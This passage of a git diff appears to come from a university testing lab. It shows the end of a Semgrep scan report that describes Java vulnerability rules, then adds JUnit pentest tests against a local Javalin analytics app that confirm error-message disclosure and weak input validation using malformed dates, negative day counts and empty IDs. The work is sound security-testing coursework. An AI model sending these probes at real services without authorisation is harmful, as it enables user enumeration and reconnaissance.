sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","id":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","name":"java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A02:2025 - Security Misconfiguration","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli","id":"java.spring.security.audit.spring-sqli.spring-sqli","name":"java.spring.security.audit.spring-sqli.spring-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-sqli.spring-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"help":{"markdown":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","id":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","name":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A01:2025 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path","id":"java.spring.security.injection.tainted-file-path.tainted-file-path","name":"java.spring.security.injection.tainted-file-path.tainted-file-path","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A01:2025 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-file-path.tainted-file-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string","id":"java.spring.security.injection.tainted-html-string.tainted-html-string","name":"java.spring.security.injection.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string","id":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","name":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."},"help":{"markdown":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command)\n - [https://www.stackhawk.com/blog/command-injection-java/](https://www.stackhawk.com/blog/command-injection-java/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java](https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java)\n","text":"Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command","id":"java.spring.security.injection.tainted-system-command.tainted-system-command","name":"java.spring.security.injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host","id":"java.spring.security.injection.tainted-url-host.tainted-url-host","name":"java.spring.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A01:2025 - Broken Access Control","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request"}}],"semanticVersion":"1.136.0"}}}],"$schema":"https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"}
\ No newline at end of file
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/InformationDisclosurePentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/InformationDisclosurePentestTest.java
new file mode 100644
index 0000000..160da1d
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/InformationDisclosurePentestTest.java
@@ -0,0 +1,221 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-209 — Information Exposure Through Error Messages
+ * =============================================================================
+ *
+ * Компонент: POST /recordSession, GET /monthlyActivity, GET /exportReport, POST /notify
+ * CWE: CWE-209 (Generation of Error Message Containing Sensitive Information)
+ * CVSS v3.1: 5.3 (Medium) — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+ * Статус: CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ * Несколько эндпоинтов перехватывают исключения и возвращают e.getMessage()
+ * напрямую клиенту. Сообщения об ошибках содержат имена внутренних классов,
+ * детали парсинга и стек-информацию, что раскрывает внутреннюю архитектуру
+ * приложения и облегчает дальнейшую эксплуатацию.
+ *
+ * ВЕКТОР АТАКИ:
+ * 1. POST /recordSession?userId=user&loginTime=INVALID&logoutTime=2025-01-01T10:00
+ * → "Invalid data: Text 'INVALID' could not be parsed at index 0"
+ * 2. GET /monthlyActivity?userId=user&month=INVALID
+ * → "Invalid data: Text 'INVALID' could not be parsed at index 0"
+ *
+ * ВЛИЯНИЕ:
+ * - Раскрытие технологического стека (java.time.format.DateTimeParseException)
+ * - Помощь атакующему в подборе корректных форматов для injection-атак
+ * - Утечка файловых путей и имён классов
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ * - Возвращать клиенту только общие сообщения: "Invalid input"
+ * - Логировать детали на стороне сервера
+ * - Использовать глобальный обработчик ошибок Javalin
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class InformationDisclosurePentestTest {
+
+ private static final int TEST_PORT = 7780;
+ private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+ private static Javalin app;
+ private static HttpClient http;
+
+ @BeforeAll
+ static void startServer() throws Exception {
+ app = UserAnalyticsController.createApp();
+ app.start(TEST_PORT);
+ http = HttpClient.newHttpClient();
+
+ send("POST", "/register?userId=info_user&userName=InfoTest");
+ }
+
+ @AfterAll
+ static void stopServer() {
+ app.stop();
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: /recordSession раскрывает детали парсинга дат
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(1)
+ @DisplayName("[EXPLOIT] /recordSession раскрывает исключение при невалидной дате")
+ void recordSessionLeaksParseException() throws Exception {
+ HttpResponse response = send("POST",
+ "/recordSession?userId=info_user&loginTime=INVALID&logoutTime=2025-01-01T10:00:00");
+
+ assertEquals(400, response.statusCode());
+
+ String body = response.body();
+ assertTrue(body.contains("Invalid data:"),
+ "Ответ содержит префикс 'Invalid data:'");
+ assertTrue(body.contains("could not be parsed"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сообщение об ошибке раскрывает детали парсинга — " +
+ "атакующий узнаёт, какой формат даты ожидается");
+ }
+
+ @Test
+ @Order(2)
+ @DisplayName("[EXPLOIT] /recordSession раскрывает позицию ошибки в строке")
+ void recordSessionLeaksErrorPosition() throws Exception {
+ HttpResponse response = send("POST",
+ "/recordSession?userId=info_user&loginTime=2025-13-01T10:00:00&logoutTime=2025-01-01T10:00:00");
+
+ assertEquals(400, response.statusCode());
+
+ String body = response.body();
+ assertTrue(body.contains("Invalid data:"),
+ "Ошибка парсинга раскрывает детали формата даты");
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: /monthlyActivity раскрывает детали исключений
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(3)
+ @DisplayName("[EXPLOIT] /monthlyActivity раскрывает исключение при невалидном месяце")
+ void monthlyActivityLeaksParseException() throws Exception {
+ HttpResponse response = send("GET",
+ "/monthlyActivity?userId=info_user&month=INVALID");
+
+ assertEquals(400, response.statusCode());
+
+ String body = response.body();
+ assertTrue(body.contains("Invalid data:"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: ошибка парсинга YearMonth раскрыта клиенту");
+ assertTrue(body.contains("could not be parsed"),
+ "Сообщение содержит детали внутреннего парсера java.time");
+ }
+
+ @Test
+ @Order(4)
+ @DisplayName("[EXPLOIT] /monthlyActivity раскрывает IllegalArgumentException для пользователя без сессий")
+ void monthlyActivityLeaksNoSessionsException() throws Exception {
+ send("POST", "/register?userId=no_sessions_user&userName=NoSessions");
+
+ HttpResponse response = send("GET",
+ "/monthlyActivity?userId=no_sessions_user&month=2025-01");
+
+ assertEquals(400, response.statusCode());
+
+ String body = response.body();
+ assertTrue(body.contains("No sessions found"),
+ "Сообщение раскрывает внутреннюю логику проверки сессий");
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: /notify раскрывает детали сетевых ошибок
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(5)
+ @DisplayName("[EXPLOIT] /notify раскрывает детали DNS-ошибки при невалидном URL")
+ void notifyLeaksDnsError() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=info_user&callbackUrl=" + enc("http://this.host.does.not.exist.invalid/path"));
+
+ assertEquals(500, response.statusCode());
+
+ String body = response.body();
+ assertTrue(body.contains("Notification failed:"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сообщение об ошибке содержит детали сетевой ошибки — " +
+ "раскрывает, что сервер выполняет DNS-резолвинг");
+ }
+
+ @Test
+ @Order(6)
+ @DisplayName("[EXPLOIT] /notify раскрывает детали при неверной схеме URL")
+ void notifyLeaksProtocolError() throws Exception {
+ HttpResponse response = send("POST",
+ "/notify?userId=info_user&callbackUrl=" + enc("ftp://example.com/file"));
+
+ assertEquals(500, response.statusCode());
+
+ String body = response.body();
+ assertTrue(body.contains("Notification failed:"),
+ "Детали ошибки протокола раскрыты клиенту");
+ }
+
+ // -------------------------------------------------------------------------
+ // BOUNDARY: проверяем граничные случаи
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(7)
+ @DisplayName("[BOUNDARY] Корректные данные не генерируют сообщений об ошибках")
+ void validDataNoErrorLeakage() throws Exception {
+ send("POST", "/recordSession?userId=info_user" +
+ "&loginTime=2025-01-01T10:00:00&logoutTime=2025-01-01T11:00:00");
+
+ HttpResponse response = send("GET",
+ "/monthlyActivity?userId=info_user&month=2025-01");
+
+ assertEquals(200, response.statusCode());
+ assertFalse(response.body().contains("Exception"),
+ "Корректный запрос не должен содержать слово 'Exception' в ответе");
+ }
+
+ @Test
+ @Order(8)
+ @DisplayName("[BOUNDARY] Отсутствие параметров возвращает 400 без утечки деталей")
+ void missingParamsNoDetailedError() throws Exception {
+ HttpResponse response = send("POST", "/recordSession");
+
+ assertEquals(400, response.statusCode());
+ assertEquals("Missing parameters", response.body(),
+ "Отсутствие параметров возвращает общее сообщение (корректно)");
+ }
+
+ // -------------------------------------------------------------------------
+ // Вспомогательные методы
+ // -------------------------------------------------------------------------
+
+ private static String enc(String value) {
+ return URLEncoder.encode(value, StandardCharsets.UTF_8);
+ }
+
+ private static HttpResponse send(String method, String path) throws Exception {
+ HttpRequest request = HttpRequest.newBuilder()
+ .uri(URI.create(BASE_URL + path))
+ .method(method, HttpRequest.BodyPublishers.noBody())
+ .build();
+ return http.send(request, HttpResponse.BodyHandlers.ofString());
+ }
+}
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java
new file mode 100644
index 0000000..ef3a938
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java
@@ -0,0 +1,244 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-20 — Improper Input Validation
+ * =============================================================================
+ *
+ * Компонент: GET /inactiveUsers, POST /recordSession, POST /register
+ * CWE: CWE-20 (Improper Input Validation)
+ * CVSS v3.1: 5.3 (Medium) — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+ * Статус: CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ * Несколько эндпоинтов не выполняют семантическую валидацию входных данных:
+ * - /inactiveUsers: параметр days принимает отрицательные значения,
+ * что приводит к возврату списка всех пользователей.
+ * - /recordSession: loginTime может быть позже logoutTime, что создаёт
+ * сессии с отрицательной длительностью.
+ * - /register: принимает пустые строки как userId и userName.
+ *
+ * ВЕКТОР АТАКИ:
+ * 1. GET /inactiveUsers?days=-1 → список всех пользователей
+ * 2. POST /recordSession?userId=x&loginTime=2025-01-01T12:00&logoutTime=2025-01-01T10:00
+ * → сессия с отрицательной длительностью
+ * 3. POST /register?userId=&userName= → пустой пользователь создан
+ *
+ * ВЛИЯНИЕ:
+ * - Отрицательный days раскрывает список всех пользователей (user enumeration)
+ * - Отрицательные длительности сессий искажают аналитику
+ * - Пустые идентификаторы нарушают целостность данных
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ * - Валидировать days >= 0 в /inactiveUsers
+ * - Проверять loginTime.isBefore(logoutTime) в /recordSession
+ * - Проверять !userId.isBlank() && !userName.isBlank() в /register
+ * - Установить ограничения на длину строковых параметров
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class InputValidationPentestTest {
+
+ private static final int TEST_PORT = 7782;
+ private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+ private static Javalin app;
+ private static HttpClient http;
+
+ @BeforeAll
+ static void startServer() throws Exception {
+ app = UserAnalyticsController.createApp();
+ app.start(TEST_PORT);
+ http = HttpClient.newHttpClient();
+ }
+
+ @AfterAll
+ static void stopServer() {
+ app.stop();
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: /inactiveUsers — отрицательное значение days
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(1)
+ @DisplayName("[EXPLOIT] /inactiveUsers принимает отрицательное значение days")
+ void inactiveUsersAcceptsNegativeDays() throws Exception {
+ send("POST", "/register?userId=iv_user1&userName=User1");
+ send("POST", "/recordSession?userId=iv_user1" +
+ "&loginTime=2025-01-01T10:00:00&logoutTime=2025-01-01T11:00:00");
+
+ HttpResponse response = send("GET", "/inactiveUsers?days=-1");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: отрицательное значение days принимается без ошибки");
+ }
+
+ @Test
+ @Order(2)
+ @DisplayName("[EXPLOIT] Отрицательный days=-1 возвращает всех пользователей с сессиями (user enumeration)")
+ void negativeDaysReturnsAllUsers() throws Exception {
+ HttpResponse response = send("GET", "/inactiveUsers?days=-1");
+
+ assertEquals(200, response.statusCode());
+ assertTrue(response.body().contains("iv_user1"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: days=-1 раскрывает список всех пользователей с сессиями");
+ }
+
+ @Test
+ @Order(3)
+ @DisplayName("[EXPLOIT] days=0 возвращает пользователей (граничный случай)")
+ void zeroDaysReturnsUsers() throws Exception {
+ HttpResponse response = send("GET", "/inactiveUsers?days=0");
+
+ assertEquals(200, response.statusCode());
+ // days=0 вернёт пользователей, чья последняя сессия была >0 дней назад
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: /recordSession — loginTime > logoutTime
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(4)
+ @DisplayName("[EXPLOIT] /recordSession принимает loginTime > logoutTime")
+ void recordSessionAcceptsReversedTimes() throws Exception {
+ HttpResponse response = send("POST",
+ "/recordSession?userId=iv_user1" +
+ "&loginTime=2025-01-01T12:00:00&logoutTime=2025-01-01T10:00:00");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сессия с loginTime > logoutTime принята без ошибки");
+ assertTrue(response.body().contains("Session recorded"),
+ "Сессия с отрицательной длительностью (-120 минут) успешно записана");
+ }
+
+ @Test
+ @Order(5)
+ @DisplayName("[EXPLOIT] Обратные даты искажают метрики активности")
+ void reversedTimesCorruptMetrics() throws Exception {
+ send("POST", "/register?userId=iv_user2&userName=User2");
+ send("POST", "/recordSession?userId=iv_user2" +
+ "&loginTime=2025-01-01T12:00:00&logoutTime=2025-01-01T10:00:00");
+
+ HttpResponse response = send("GET",
+ "/totalActivity?userId=iv_user2");
+
+ assertEquals(200, response.statusCode());
+ assertTrue(response.body().contains("-"),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: метрика активности содержит отрицательное значение");
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: /register — пустые значения
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(6)
+ @DisplayName("[EXPLOIT] /register принимает пустые строки как userId и userName")
+ void registerAcceptsEmptyStrings() throws Exception {
+ HttpResponse response = send("POST",
+ "/register?userId=&userName=");
+
+ assertEquals(200, response.statusCode(),
+ "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: пустые строки приняты — проверка null, но не isBlank()");
+ assertTrue(response.body().contains("User registered: true"),
+ "Пользователь с пустым ID и именем успешно зарегистрирован");
+ }
+
+ @Test
+ @Order(7)
+ @DisplayName("[EXPLOIT] Пустой userId доступен через эндпоинты")
+ void emptyUserIdAccessible() throws Exception {
+ HttpResponse response = send("GET",
+ "/userProfile?userId=");
+
+ assertEquals(200, response.statusCode(),
+ "Профиль пользователя с пустым userId доступен");
+ }
+
+ // -------------------------------------------------------------------------
+ // EXPLOIT: очень большие значения
+ // -------------------------------------------------------------------------
+
+ @Test
+ @Order(8)
+ @DisplayName("[EXPLOIT] /inactiveUsers принимает Integer.MAX_VALUE")
+ void inactiveUsersAcceptsMaxInt() throws Exception {
+ HttpResponse response = send("GET",
